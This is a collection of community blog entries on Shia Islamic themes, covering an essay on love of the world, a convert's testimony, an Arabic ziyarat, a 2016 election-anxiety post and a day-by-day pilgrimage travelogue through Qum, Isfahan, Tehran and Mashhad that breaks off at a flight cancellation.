    KNOW [O men] that the life of this world is but a play and a passing delight, and an ephemeral amusement, and [the cause of] your boastful vying with one another, and [of your] greed for more and more riches and children. Its parable is that of [life-giving] rain: the herbage which it causes to grow delights the tillers of the soil; but then it withers, and you see it turn yellow; and in the end it crumbles into dust. But [the abiding truth of man’s condition will become fully apparent] in the life to come: [either] suffering severe,or God’s forgiveness and His goodly acceptance: for the life of this world is nothing but a passing self-delusion. -

    Holy Quran 57:20 

    Going Astray Part 3 - The Trap

    In the Holy Quran, as well as hadith from our Imams(a.s), we are taught that this world is nothing but a passing fancy, a very short term thing that we should not give too much importance to. And yet, we are placed in this world, and have to survive. Some of us are faced with great difficulties just to have a roof over our head and food on the table. We live in a world that is mostly chaotic, inconsistent, full of conflicts and tribulation. Enemies trying to destroy us, and so called 'friends' that are insincere and disloyal. Mixed in with this are beautiful passages of poetry, glittering objects that catch our eye, desires that we have that almost rip our hearts from our chest, profound words of wisdom that we hear or read, and a few individuals that we meet or know that seem to rise above all the noise and clamour, staying steady and consistent with decency, morality, and their own internal values. 

    We walk thru forests, look up at the tall trees, we trudge thru swaps, wade thru rivers, sink into desert sands, and we stammer, stare, sit and wait, cough and stammer, trip and fall, and roll down hills and into valleys, and then find ourselves stuck, our foot unable to move, wincing in pain. We look down and see blood gushing from above the ankle. We can feel the cold steel. Rush of heat up our spine. We look down and see the teeth of the trap digging into our flesh. Immobilized. We look up and down, right and left, back and forth. Twisting, writhing. Waiting for relief from the trap. 

    Imam Sadiq(a.s) says. 

    عن ابي عبدالله عليه السلام قال: راس كل خطيئة حب الدنيا

    “Attachment to World is the basis of all sins and transgressions.” Imam Sadiq(a.s)

    Bihar al-Anwar, vol. 3, p-7.

    Some people misunderstand this and related hadiths. He is not saying 'the dunya', this world, or anything in the world is the root of all evil and sins. You cannot point to an object like money, t.v., the Internet, or another human being like a leader, king, or tyrant, or even an activity like sex, or a desire like lust, or a profession, or anything else and say this is the root of all evil. Imam Sadiq(a.s) says 'Hub' or love of this is the root, not the thing itself. 

    We should examine the meaning of 'hub' or love in this context and also in the context of the verses of the Holy Quran regarding this world. 

    'Hub' in this context has to do with 

    1) The value and importance we assign to something

    2) What we are willing to do(or not do) in order to get or achieve it. 

    Let me give an example. 

    Two friends make a deal in their early teens that they are both going to become doctors. They are going to get good grades, then apply to college, do good in college, and hopefully apply to Medical School and graduate. They both do good in School, college, then apply to Med School and are both accepted. One of the friends comes from a wealthy family and the other comes from a poor family. The wealthy friend shows up for Medical School on the first day, after his parents paid a huge tuition bill, and wonders where his poor friend is. The poor friend, having no money to pay the huge tuition bill, starts thinking about what he is going to do. He knows that he is not going to fulfill his dream unless he gets some money. He decides he is going to rob a bank (cause that's where the money is..). He gets a gun, mask, all the robber stuff, makes a plan, and because he is smart the plan works perfectly, gets the money, pays his tuition, and shows up on the second day. 

    His rich friends asks, 'Where were you buddy..'. He answers, 'I had some things to take care of..'. 

    So there is no love of the dunya going on here, up until the point where the poor friend robs the bank (we are assuming he is muslim, and knows it is haram to steal and rob). Going to school, getting good grades, trying hard, becoming a doctor and making a good salary, there is nothing wrong with that as long as you can do all that and not violate the clear laws and ordinances that Allah(s.w.a) has revealed to you. Because when you start to 'love' your goals, plans, and ideas so much that you are willing to violate and do violate the clear rules and guidelines then that is the point where you 'love the dunya', and not before that. 

    Now some people will look at the poor friend and say, 'Well he is poor, so he had to do what he had to do..'. He had to 'take care of business'. From an Islamic perspective, this is wrong thinking. Being poor is not haram or a crime(although it is treated as such by modern society), it is a circumstance, and most of the time a temporary one. The fact of being poor says nothing, either positive or negative about someones character or religion. 

    It is the wrong thinking associated with poverty (that things are hopeless and the only way out is getting wealth by any means) and wrong thinking associated with wealth (because I am wealthy, therefore I am better than other people and have more rightst than they do) that is the trap, not the poverty or wealth itself. The trap is the wrong thinking, whether you are rich or poor, that there is something in this world that is worth risking disobeying Allah(s.w.a) in order to get it. If you know Allah(s.w.a), even on a very superficial level, and you know yourself, even on a superficial level, you will know that there is nothing in this world that is worth disobeying Allah(s.w.a) in order to get it, even if it is the world in it's entirety. Now you see the trap. Be careful not to step into it. 

     

  15. :salam:

    After having many people telling me I should write my story and that it will be beneficial for my shia brothers and sisters, that it would be inspirational for their religious path, I decided to write it.

    Humans from the very beginning of time fight for something to believe in, they struggle with reality as they try to make sense of their world. As I grew up I always felt there was an ultimate truth and knowledge hidden from us, I just didn’t know where and how to look or even What to look for. I used to lead a very very reckless sinful lifestyle, since I was trying to find my place in this world in my own ways so I decided to try everything and live with no boundaries. I always felt this deep Emptiness that was never filled, so I did what I had to do in order to discover what might fill this empty hole. I even experienced the power of love but it was all just temporary, everything in this world is temporary. I loved to try everything, I had neither moral standards nor basics to follow, I used to love life and was living it to its fullest. I felt independent like nothing and no one can stop me because I was free to do whatever I want but in reality I had all these invisible chains around me pulling me back deceiving me to think that I was liberated (that’s one of the tricks of the devil he makes you think you’re free but you’re his prisoner).

    I felt the happiness instantly with the moment and later when I’d go home I would feel depressed and sad like I was missing something, I couldn’t sit alone I couldn’t stand home, my soul was always agitated and unsettled.

    I studied Christianity before but it was all science fiction. Studying Christianity made me even more lost and drove me to doubt the existence of God, which was worse; I would die just to know what can fill this empty space I always had. I asked myself is that it? We came here to eat sleep party have fun work make a family and die...

    One night when I hit rock bottom after I finished this self-discovery journey and I arrived nowhere, I started calling upon God (without even being sure that He existed and listening), I told him God if you were there if you existed please help me find my way, suddenly and out of nowhere there was a man whom I’ve met 4 years ago, he started coming up to my mind which was so weird because I had no interest what so ever to talk to him and see him(because he was a muslim and I didn’t like Islam just like any other brainwashed Christian middle eastern person) so I contacted him, turns out he was a committed Shia who triggered my path into Islam, and in the same time I met a Christian man who was living in France and he converted the same month as I did, this was God telling me that I’m not alone, this was God giving me a kind of motif, I mean what are the odds?

    Whoever wants God, God will answer him, He will not leave him alone, but only few people really want God all they want is this world, they are blinded by it.

    When I found Islam, my ultimate destiny, and when I found God it felt so ecstatic and intense, I felt this deep power and enlightenment, It was entirely uplifting, deeply emotional and pleasurable, I felt a deep joy that finally my existence made sense, that God gave me a purpose to live for to strive for and to fight for, to reach the highest level of existence. He chose me out of all these people who are lost, I had met more than 2,000 people and he just gave me this special gift, showed me the door to his secrets, Our(shias) status To God is special, this is why we should fight this world and fight ourselves and desires and never give up, to be worthy of this privilege that God gave us. When I personally realized this it was time for the hard work. When we understand the power laying behind us we would never have to fear anything ever again in our entire life. 

    I was so afraid to jump into this transition, my faith was weak and I had doubts at some moments. I had to give up my friends, my activities, habits, shut off my desires, change my morals, my rules, my lifestyle, my priorities, my social life, my behavior… I was shifting my core belief which is something very hard for a human to change. I was trapped and afraid at some point; I didn’t know how to do it. I was never home, I was never alone, I was lazy, I never respected my parents, I didn’t prioritize anything except my plans, I’d quite jobs because my work schedule didn’t match my entertaining plans...This is how much I was messed up and attached to the world.

    I seeked happiness and the more you feel happiness the more you want it, it’s like a drug, so you indulge more in dunya activities until you are completely lost.  Happiness wasn’t created to feel here, happiness is for the next world, we should never waste time here getting attached to this world because we will do eventually whatever we want in the afterlife. We are born to pass this test and to return to our original home where Prophet Adam was created. It took me time to realize this.

    My friends were atheists, mushrikin, infidels, and almost all my activities were sinning, I quite them all and now I don’t befriend no one but the lovers of Ahlulbayt. It was very hard and I suffered deeply at some point, washing away your sins purifying yourself from them is EXTREMELY hard, it’s like you’re pulling forward and the devil is pulling you back all the time. But God didn’t let me feel I’m alone, he rewarded me, gave me a steady job where I can be fully committed in, gave me this feeling of security and self-satisfaction, gave me Many privileges that I didn’t possess before. This entire process made me someone else; I became very mentally strong and different. Islam isn’t for sissies; Islam needs strengths, stability, mental toughness, brave hearted individuals who take sacrifices for God, who are ready to face the evil and the challenges of this world.

    The equation is simple, as much as you give God as much as He gives you in return. After I was guided I tested myself, tried doing some things that I did in the past to see if this was a phase in my life, but I felt disgusted ashamed weak and I became afraid of death. Now if I touch a man by mistake or if I eat something from a table that has alcohol on it without paying attention I would think about it for 3 days feeling guilty because I disappointed God. I do not fear punishment as much I fear to fail God, because I love Him, that is the true worshiping. Each time I do something to get closer to God I feel my soul elevating I feel that I’m gaining spiritual power and my perspective towards the world changes… Everyone told me it's just a phase but as each day is passing I'm falling more in love with this religion and with Ahlulbayt. I still have hard time committing to my religion as my parents don't know(or kinda in denial), so i practice everything in secrecy.

    To conclude I want to tell you, brothers and sisters something, this world is evil, you shouldn’t love it nor seek to have fun in it, you should hate it and never ever be dependent on something related to it, even though I know the truth behind my past life how it’s all evil empty and worthless, it still tempts me sometimes till this very day, the love of this world isn’t easy so don’t get yourself trapped because once you’re in it’s so difficult to get out. Don’t go to hell to enjoy life here; don’t sell your soul to the devil.

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    لإمام جعفر الصادق عليه الصلاة والسلام

    السَّلامُ عَلَيْكَ أَيُّهَا الإِمَامُ الصَّادِقُ السَّلامُ عَلَيْكَ أَيُّهَا الوَصِيُّ النَّاطِقُ السَّلامُ عَلَيْكَ أَيُّهَا الفَاتِقُ الرَّاتِقُ السَّلامُ عَلَيْكَ أَيُّهَا السَّنَامُ الأَعْظَمُ السَّلامُ عَلَيْكَ أَيُّهَا الصِّرَاطُ الأَقْوَمُ السَّلامُ عَلَيْكَ يَا مِفْتَاحَ الخَيْرَاتِ السَّلامُ عَلَيْكَ يَا مَعْدِنَ البَرَكَاتِ السَّلامُ عَلَيْكَ يَا صَاحِبَ الحُجَجِ وَالدَّلالاتِ السَّلامُ عَلَيْكَ يَا صَاحِبَ البَرَاهِينِ الوَاضِحَاتِ السَّلامُ عَلَيْكَ يَا نَاصِرَ دِينِ اللَّهِ السَّلامُ عَلَيْكَ يَا نَاشِرَ حُكْمِ اللَّهِ السَّلامُ عَلَيْكَ يَا فَاصِلَ الخِطَابَاتِ السَّلامُ عَلَيْكَ يَا كَاشِفَ الكُرُبَاتِ السَّلامُ عَلَيْكَ يَا عَمِيدَ الصَّادِقِينَ السَّلامُ عَلَيْكَ يَا لِسَانَ النَّاطِقِينَ السَّلامُ عَلَيْكَ يَا خَلَفَ الخَائِفِينَ السَّلامُ عَلَيْكَ يَا زَعِيمَ الصَّالِحِينَ السَّلامُ عَلَيْكَ يَا سَيِّدَ المُسْلِمِينَ السَّلامُ عَلَيْكَ يَا كَهْفَ المُؤْمِنِينَ السَّلامُ عَلَيْكَ يَا هَادِيَ المضِلِّينَ السَّلامُ عَلَيْكَ يَا سَكَنَ الطَّائِعِينَ أَشْهَدُ يَا مَوْلايَ أَنَّكَ عَلَمُ الهُدَى وَالعُرْوَةُ الوُثْقَى وَشَمْسُ الضُّحَى وَبَحْرُ النَّدَى وَكَهْفُ الوَرَى وَالمَثَلُ الأَعْلَى وَصَلَّى اللَّهُ عَلَى رُوحِكَ وَبَدَنِكَ وَالسَّلامُ عَلَيْكَ وَعَلَى العَبَّاسِ عَمِّ رَسُولِ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَآلِهِ وَرَحْمَةُ اللَّهِ وَبَرَكَاتُه

  16. Salaam everyone.

    I am very nervous about who's going to win. Trump is slightly edging out Hillary Clinton. I fear for the Muslims living in the US. I fear that something bad might happen. I really hope they are ready for when Trump starts his plan of banning Muslims, they need to find a safe place to reside. Luckily, I am in Canada which is a very safe home where I was born. I am fine with Justin Trudeau as prime minister succeeding Stephen Harper (who was going to make things worse for Muslims). Justin Trudeau is not that racist towards Muslims like Trump is, he is actually nice when compared to the racist garbage that Trump spews out. Canada is a good home for Muslims.  I am really worried as I am writing this. I really do not want Trump to win.

     

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  17. Bismillah

    InshAllah I will be sharing my perspective on a few issues on this blog which I feel are of particular importance to Muslims in the West:

    • Dealing with bullying
    • Difficulties with family and society on becoming more religiously practicing
    • Towards a literate (Islamically and in non-religious areas) Muslim community
    • How a Muslim community should act in a non-Muslim society

     

    There it is, a promise of delivery, inshAllah.

     

    I will inshAllah start writing soon, after some additionaly preliminary readings.

  18. shiaman14
    Latest Entry

    I had been planning to go to Iran for a long time and finally made it a priority for me in 2016. Since I wanted to mix in sightseeing and pilgrimage in the same trip, I decided to go on my own instead of in a group.

    As it turned out, getting an individual visa for Iran when traveling from the US is a real hassle. We need to get permission from the Iran Foreign Ministry and then apply for the visa at the Iran Mission housed within the Pakistani Embassy in Washington, DC. After struggling for almost 3 weeks, I was able to find Taha Ziyarat Group (tahaziyarat@gmail.com) based out of Toronto that obtained the necessary approval for me for $90.

    Once I got my approval, I sent my passport off to the Iran Mission in Washington. I did have to follow up with them almost daily to ensure they processed my visa application expeditiously. I received my passport 4 days before flying out.

    While I was waiting for the visa approval, I booked my flights on Qatar Airways for a bargain price of $700 return to/from US-Tehran. For in-country arrangements, I know a maulana (NAJ) there who arranged everything for me based on my budget.

    Finally, the big day came and I left for Iran on Wed Mar 23rd arriving in Tehran late Thu evening (Mar 24th). NAJ had arranged for a driver to pick me up and drive straight to Qum instead of spending the night in Tehran. The drive from IKA (Imam Khomeni Airport) to Qum took about 90 minutes. The driver barely spoke English but knew where to pick me up from and where to drop me. We arrived at Qum International Hotel around 1245am (Fri Mar 25th). The hotel was about a *** US hotel, higher for Iran.

     

    Day 1 (Fri):

     

    We prayed fajr in our room and went back to bed. Since breakfast was included in our price, we went down for breakfast around 9a – nice long buffet.
    NAJ contacted me around 10am and picked me up from the QIH around 1030a to take me to the Roza of Masooma-e-Qum. We walked to the roza and were there at 1035a. The hotel is the closet one to the roza.

    NAJ showed us around the haram and provided us some background about Masooma and her roza. From 1130a – 2p, we were on our own to recite ziyarat, salah-e-jumah and dua. I wandered around the roza and made my way to the masjid adjoining the roza. It is an absolutely beautiful mosque.

    They had beautiful recitations of the quran and then some speeches followed by Azaan. The Jumah khutba was recited by an Ayatollah in Farsi (of course) and then namaz-e-jumah. Although I did not understand most of the khutba, one thing that was unmistakable was the ‘marg-al-Amreeka’ chants (down with America or death to America). They were loud and boisterous.

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    Shrine of Bibi Masooma Qum (as).

    After salah-e-jumah, NAJ took us to the Suffrah of Masooma where were had a decent meal of rice with spinach with potatoes.

    We went to our hotel after lunch for some R&R and then returned to the haram for maghribain. After namaz, NAJ took us around the bazaar outside the haram. The clothing looked like they were from the 70s and 80s. Religious paraphernalia including irani chador were well stocked and affordably priced. Almost evey other shop sold halwa-suhan.

     

    Day 2 (Sat):

     

    We spent most of this day driving around to the various ziarats around Qum.

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    Bait Al-Noor. Musallah of Masooma (as). This is where she spent time praying.

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    Shrine of an Imamzadeh (Son of an Imam).

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    Shrine of Hz. Hamza bin Musa Kazim (as).

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    Day 3 (Sun):

     

    This was by far the most hectic day of the trip. We left around 5am to drive from Qum to Isfahan. It was about a 4-hour drive. I was surprised how much of the Iranian country was desert. The deserts in the Middle East countries (UAE, Saudi) have a lot of fine yellow sand. Iranian deserts are more rocky than sandy.

    countryside1.jpg.edb8c4f4e43d7cdc24a26ef10789f600.jpg

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    Upon entering Isfahan, we visited the shrine of Masooma Zainab bint Imam Musa Khadim (as) – Masooma Qum’s younger sister.

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    Next stop was the Jameh Mosque of Isfahan. We spent a few minutes here and then walked to Allama Majlisi’s tomb nearby. His house and surrounding are well preserved.

    Next was the more secular part of the Ishafan visit.

    Isfahan.jpg.e9c7bd2052d4489e9de9883991e88550.jpg

    We went to Naqsh-e-Jahan (half of the world) which is the main plaza of Isfahan. The weather was great and since the Nawroz holidays were still going on, it was packed with people.

    Within Naqsh-e-Jahan is the Ali Qapu Palace

    58bdf9be52ec8_AliQapuPalace.jpg.21b743ad44b4a918dcbb78b0aa3b6da7.jpg

    IMG-20170228-WA0005.thumb.jpg.ca408000322dd4f03aebe77e3d2c0fb5.jpg
    Panamoric View from Ali Qapu Palace Balcony of Naqsh-e-Jahan

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    Since it was almost lunch time, we stopped by a street restaurant selling A’ash

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    After lunch, we went to the Vank Cathedral. This Christian monastery was established in 1606. It contains some amazing art work.

    IMG_20160327_1505120.jpg.b8b4437f7e673e9250574c1ff7a973bc.jpg

     

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    From here, we went to Khaju Bridge for some more sightseeing.

    IMG-20170228-WA0008.jpg.5bbdea524ec899cb067c842c15cfd34c.jpg

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    At this point, we were too tired to do anything else so we headed back to Qum – 4 hour journey mostly spent napping.

     

    Day 4 (Mon):

    After a hectic day, sleep was going to be the primary thing on the agenda for this day but there was too much to do. We prayed fajr at the mosque next to Masooma-e-Qum’s shrine:

    58bf2714148cf_mosquemq.jpg.fdc71915f3d82cd14b93450a6fc47b93.jpg
    Mosque adjacent to Masooma-e-Qum's shrine

    And then went back to our hotel for more sleep. We had breakfast and got ready for another fun-filled travel day.

    We started off by going from Qum to Mashad-e-Ardehal. This site contains the tomb of Sultan Ali son of Imam Muhammad Baqir (as) and brother of Imam Jafar Sadiq (as). Sultan Ali was brutally killed here by his enemies.

    58bf27683fccc_MA2.jpg.70ad752561ec9b8e1472339c828de823.jpg58bf2762748a5_MA1.jpg.e063a8f09f738884c455c6196aaa9bec.jpg

     

    From here we drove to a hilltop/mountaintop with streams running down. We had to walk down about 500 meters and got a great view of a waterfall.

    stream.jpg.6756f2f14b4624286e6dba67cc6f01d9.jpg                                fall2.jpg.a0f0f9947c644838f90fd1e25aeab5f3.jpg

    The most distinct feature of this area of the smell of rose water distilleries all over the place. You could get rose water for a variety of needs including simple hot rose water tea. The other distinct item being sold was fresh bee hives dripping with honey. And yes, we tried hot rose water tea with honey.

    From here, we went to the city of Kashan. Our first stop was an ancient archeological site called Tepe Sialk. The Sialk ziggurat

    IMG_20160328_1303353.jpg.67a59bfe361b8dc356f6fc276541178c.jpg   IMG_20160328_1307182.jpg.43c2fe55c032b8138d44c172d77ef973.jpg   IMG_20160328_1315531.jpg.b801ffda1eaf858ab8b41a3092517665.jpg

    Note: Entrance for most places have an Iranian Rate and a Foreigner rate (up to 3X in places). We had our driver buy the tickets and we would walk in with him talking to us in Farsi. Yes – very sneaky indeed. I excused myself by convincing myself that since both my wife and I are of Iranian descent, we qualify for the discount. :) 

     

    Final stop of our day trip to Kashan was to the oldest extant garden in Iran known as the Bagh-e-Fin or Fin Garden.

    IMG_20160328_1353304.jpg.e203577b32e7d0a784df179675295994.jpg      IMG_20160328_1354584.jpg.309db9ab92fdb88b8497931737a68074.jpg

     

    Although this was a less hectic day than the trip to Isfahan, we were still pretty tired so we drove back to Qum, had a 12-in falafel sandwich, prayed maghraibain at the haram and went to bed.

    Day 5 (Tue):

    The past couple of days had left us tired so we decided to take it easy.

    We went to the haram for fajr then went back to bed. We woke up just in time to catch breakfast and then went to the local market (wish I took pictures). From there we went for zohrain at the mosque adjacent to Masooma’s shrine.

    After a quick bite to eat, we left for the Koh-e-Khizr aka Mountain of Khizr. What was supposed to be a light day in terms of exercise became a very intense and steep climb to the top of Koh-e-Khizr. It was well worth it in the end because we got a great view of the entire city of Qum if not the whole province.

    IMG_20160326_1221575.jpg.3eb5c2cfff226a79f1908977ff245396.jpg  IMG_20160326_1224186.jpg.efa9661f70737271ddaf5f292671dd5a.jpg  IMG_20160326_1226032.jpg.4be0bce696c01b248ca6f958a9138d15.jpg

    Got more daunting as we got closer.

    IMG_20160326_1256536.jpg.7fc240597d0e6fe1743b4e55b957bd81.jpg    IMG_20160326_1252123.jpg.a40fa27d265068dde9944c1a218c562a.jpg  
    For the record, the old gentleman in the pic IS NOT ME :)

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    City/Province of Qum.

     

    Needless to say the climb down was nowhere near as arduous as the climb up. There was a small food vendor about half from the top. On our way up, we bought some water from him and then ice cream on the way down.

    After resting by the car for a few moments, we drove nearby to the Masjid-e-Jhamkaran, located on the outskirts of Qum. A brief history of this grand mosque is that it  has long been a sacred place, at least since 373 A.H., 17th of Ramadan (22 February 984 C.E.), when according to the mosque website, one Sheikh Hassan ibn Muthlih Jamkarani is reported to have met Muhammad al-Mahdi along with the prophet Al-Khidr. Jamkarani was instructed that the land they were on was "noble" and that the owner — Hasan bin Muslim — was to cease cultivating it and finance the building of a mosque on it from the earnings he had accumulated from farming the land.

    As we had been told, the mosque starts getting filled up from about 5pm and gets fuller and fuller as the evening progresses. I am not sure if it was because of Nawruz season but it definitely had a very 'carnival' and festive feel to it. People had spread out their rugs all across the mosque courtyard and were reveling with family and friends. There was hot tea brewing and koobideh with naan being shared by one and all.

    Quran and then different duas were being recited, followed by maghribain and then more duas. We left around 830p to go back to our hotel.

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    Mosque sparely populated around 4pm.

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    Crowded!!! (730pm).

     

    Day 6 (Wed):

     

    Today was the big day when we would finally make our way to Mashad. We had packed the previous night so we left right after fajr – and yes, I skipped breakfast!!!

     

    First stop was First stop was an almost 2 hour drive to Ayatollah Khomenei’s mausoleum.   It is located to the south of Tehran in the Behesht-e Zahra (the Paradise of Zahra) cemetery. Construction commenced in 1989 following Khomeini's death on June 3 of that year. It is still under construction, but when completed will be the centerpiece in a complex spread over 5,000 acres, housing a cultural and tourist center, a university for Islamic studies, a seminary, a shopping mall, and a 20,000-car parking lot. The Iranian government has reportedly devoted US$2 billion to this development. It is definitely one of the largest and most beautiful mausoleums I have come across.

    IMG_20160330_0803574.jpg.8e1f2c2092ef13e7f7d06398f33c2574.jpg IMG_20160330_0804177.jpg.a682446718f69ea3bf34c9d01545360e.jpg
    Visitors reciting fatiha for Ayatollah Khomenei.
    Please recite surah fatiha for Ayatollah Sayyid Ruhollah Mūsavi Khomeini.

     

    Next stop was the Astana Bibi Shehr Bano. On the ground level there is a cave which according to legends was the place where Zuljinah brought Bibi from Kerbala, and she was there until hostile people to Bani Hashim got news of her being there, and they tried to catch her. She climbed the hillock and then vanished in a mountainous wall. Now a zarih has been constructed together with prayer rooms for men and women.

    IMG_20160330_1105077.jpg.e8213f60e0c58e010cc4ff7eb45ab4cc.jpg   IMG_20160330_1113332.jpg.e2f53cf653dd951d9fe7add991d70afb.jpg
    Zarih of Hz. Shehr Bano.                                                                    View of other side of Tehran.

     

    who was a fifth generation descendant of Hasan ibn ‘Alī and a companion of Muhammad al-Taqī. A piece of paper was found in his pocket outlining his ancestry as being: ‘Abdul ‘Adhīm son of ‘Abdillāh son of ‘Alī son of Husayn son of Zayd son of Hasan ibn ‘Alī.Shah Abdul AzeemNext stop was the Shrine of

    Adjacent to the shrine, within the complex, include the mausolea of Imamzadeh Tahir (son of the fourth shia Imam Sajjad) and Imamzadeh Hamzeh (brother of the eighth Twelver Imām - Imām Reza).

     

     

    IMG_20160330_0911289.jpg.b0ee236febab5aa283b03e2dacadc5e5.jpg

    From here, we drove around the City of Tehran including the famed part known as Rey. I am fairly well traveled but I have to say that Tehran is one of the most picturesque cities I have visited. Situated in close proximity of the Alborz range and its majestic peak Mount Damavand , being the highest in Iran with a height of 18,550 feet ,it is a mega city of about Thirty Million People.

    IMG_20160330_1138259.jpg.0a725f670569a2d73b5b649f8f974c64.jpg
    You can see hundreds of buildings at the foot of the mountain. Not a bad view to wake up to every morning.

     

    After driving around for a couple of hours, our driver dropped us of at Tehran’s Mehrabad Intl Airport which is primarily used for domestic travel. The airport is in the heart of Tehran or at least within the city.

    The airport has a small cafeteria that serves hot meals of the local variety. They also have a coffee shop and ice cream parlor.

    After a 2-hour wait, we finally boarded our short (1-hr) flight to Mashad. The flight was as uneventful as all flights can be. I did enjoy a small boxed-meal they offered everyone despite the short flight. It made up for the breakfast that morning J.

    Naj had arranged a friend of his (Ali) to be our tour guide for the stay in Mashad. Since Ali’s English was a little weak, he brought along his sister (Afsanay) who was quite fluent in English.

    We checked into our Hotel (Hotel Omid). It is definitely one of the nicer hotels in Mashad.

    H1.jpg.6c7beae4f97750bdd0283e6c217d4171.jpg    H2.jpg.e0ff66083876b29177719e3ce3d986df.jpg
    View of shrine from our hotel room balcony.

    We quickly refreshed and headed over to the Shrine of Imam Reza (as). Much to our pleasant surprise, the shrine was not as packed with zawar as we expected. It could have been the weather or Nawruz.

    IMG_20160331_0220470.jpg.f28f247399ae93fcab0cdfdade0b9bc0.jpg
    About to enter the main hallway of the Shrine for the first time. Goose bumps.

     

    IMG_20160331_0247154.jpg.713293aff55f3c74dae568514f39b5f9.jpg
    As salaam alai ka Ya Ghareeb Al Ghuraba (as)

    IMG_20160331_0445281-panorama.thumb.jpg.354420c45765a4544ea659d59d16f532.jpg
    One of the many courtyards within the Shrine Complex of Imam Ali Reza (as).

     

    Day 7 (Thu):

     

    Although our intention was to go to the haram in Imam Al-Reza (as) for fajr, it was raining too hard with heavy winds to walk so we prayed in our rooms and went back to sleep.

    We woke up to this view:

     

     

    After a world class buffet breakfast, we met up with Ali and Afsanay to go to Nishapour. Once again, it was a very scenic drive. The mountain-desert country just has a certain serenity about it. On the way, we saw small villages celebrating nawroz in their own way.

    02.jpg.3db020d9aff83f92cf5dae756b1d7cc1.jpg  03.jpg.9de71d9e13b3c00f1a4000a154a95cd0.jpg

     

    Our first stop was at the Qadamgah – where the footprints of the Holy Imam Al-Reza (as) can be found. Adjacent to it is a small stream said to bring benefits of all kinds to the zawar.

    04.jpg.bbc9ea98414fdf2ea8478c187d953d61.jpg   05.jpg.5e50e3859964a70a56e74f3c2f1236be.jpg    06.thumb.jpg.b33edbb16c238f5d127aa8f643c3e364.jpg
    Panoramic view of the building housing the footprint.
     

    Just before entering the area of the qadamgah is a small caravansary which use to house people back in the day.

    07.jpg.8d217f270032d4efbc1d032e696434e8.jpg

    There were probably abour 20-25 room like the one shown above. Very basic room with a hearth in the middle. The rooms were considered high end. Outside the caravansary, there was just the open shelter (pretend there is no room just the outer part).

    Next stop was to the mausoleum of Bibi Shatitay. The legend goes that Imam himself came there and led the Namaz-e-janaza prayers for her.

    08.jpg.ba04909b3a340eb1ef2c88dcb55b76ae.jpg     09.jpg.4db4d7b332ba4430efd0d3428ff3033a.jpg

     

     

    We made a brief stop at the historic Shah Abbas Inn/Caravansary which has been converted into several small shops selling jewelry or souvenirs. Nishapur is famous for its turquoise stone (firoza).

    Next stop was the shrines of Imamzade Mahruq bin Muhammad Al-Baqir bin Sajjad (as) and Ebrahim bin Ahmad bin Moosa bin Jafar (as). 

    10.jpg.841aa04bb40d54dc08a001cefbb28a02.jpg     11.jpg.c5129576af469a49db6c80defeb3d736.jpg

     

    A short walk from here was the tomb of Omar Al-Khayam – one of the most influential thinkers of the Middle Ages. He wrote numerous treatises on mechanics, geography, mineralogy and astronomy.

     

    12.jpg.a18e55f76570d3f3bfa716ba36626e73.jpg

     

    A short drive from here was the mausoleum of Abu Hamid bin Abu Bakr Ibrahim aka Attar Nishapuri - a Persian Muslim poet, theoretician of Sufism, and hagiographer from Nishapur who had an immense and lasting influence on Persian poetry and Sufism.

    58c85bb3c5781_AttarNishapuriMausoleum.jpg.f1964a6827169b04686954c889f3e00d.jpg

     

    If memory serves me right, next to Attar’s tomb was an archeological site from thousands of years ago. It was going through extensive renovations at the time.

    13.jpg.97aa740559665b61fb0cc68e463a30dd.jpg

     

    Our last stop was a very famous local restaurant called Emirat Restaurant. Undoubtedly the best lamb koobideh I have ever had!!! My wife and I had some very interesting conversations with Ali and Afsanay. They were both fascinated by our lives in America. They had no qualms about asking me my salary; the size and cost of our house; they were surprised if not shocked that it was okay for my wife to go grocery shopping by herself and it was perfectly safe. They were under the impression that any woman who stepped out of her house by herself was 'asking for it'. I thought it was hilarious. Now that I think about it, everything the Western media does to paint Muslims in a certain light happens in Iran too but backwards. The Western media takes 1 bad Muslim story and tries to apply it to all Muslims. The Iranian media takes a bad Western story and applies it to all Westerners. This was just my observation and nothing more.

    We had some other interesting conversations but those are for another day and another time. 

    We drove back to Mashad and spent the evening the haram of Imam Al-Reza (as).

    Day 8 (Fri):

    We prayed fajr at the haram and went back to bed; then woke up to this beautiful view.

    58cc61d94a692_day8-001.jpg.fd8ddfb3a4b7d0ef51160ea19af94869.jpg
    Beautiful view of Roza of Ima Ali Reza (as).

    Since it was Friday, we stayed in our room until 11a or so and then headed to the haram again. Good thing we went early because it was fuller than we had seen since we got there.

    So I got a good spot in the mosque adjacent to the haram. I heard the Friday sermon (understood bits and pieces) and the “Death to American” chants, then prayed juma followed by Asr.

     

    58cc61df80f87_day8-01.jpg.26fee9af0933a50758dd48d514764e38.jpg
    Mosque adjacent to Imam Ali Reza's (as) shrine.

    Next was one of the most essential parts of the trip. One may not get this opportunity all the time. We had to take our passport to the office of Pilgrims situated in the Haram of Imam Ridha’s (as). They marked our passport and gives us a ticket for the meal. At the restaurant, they feed almost 4000 Zuwar each day. Thousands of Iranians must wait for years before they get a chance to have a meal at this restaurant.

    58cc61e55dbf2_Day8-02.jpg.5f09d4402c90aecf9fcb630a17183e1c.jpg
    Lunch at Imam's restaurant (dastakhawan)

    Following lunch, Ali and Afsanay picked us up for some sightseeing. We drove around Mashad, saw her university and then went to ziarat nearby

    IMG_20160401_1506333.jpg.344a799d3c54530b0c9edaa4a0ead8f6.jpg
    Ziarat near Mashad

    58cc63064a6e3_Day8-03.jpg.9584b02e279c5be28d83d2901a9bd72f.jpg
    Iranian country side. Notice the marked difference in scenery from the previous pictures.

    On our way back, we stopped at an ice cream parlor for some traditional Persian ice cream. The last stop was a nearby pewter mountain. I was amazed to see people climbing it without any concern for safety. It was rainy and slick. Mrs ShiaMan14 bought a very nice souvenir.

    58cc630be34f0_Day8-05.jpg.4b0a40ed5bea83ef2c679448801240ef.jpg

    We came back, rested for a bit and then went to the haram for salah.

    Day 9 (Sat):

    This was the day to head back to Tehran. We spent the entire night at the haram until fajr. Then came back to get some rest. We got up after a couple of hours, had some breakfast and packed. We took all our luggage downstairs and went back to the haram for zuhrain. We also did the farewell ziarat, rushed back to the hotel since Ali was waiting for us.

    We got to the Mashad International Airport around 245pm for a 530p flight - plenty of time.

    Just as Ali left us, NAJ gave me a call informing me that my flight had been cancelled so he booked me on the last flight to Tehran (happened to be the cheapest option). This is when panic set in. If the last flight got cancelled, I  would miss my flight from IKA to Doha and the subsequent flight to US.

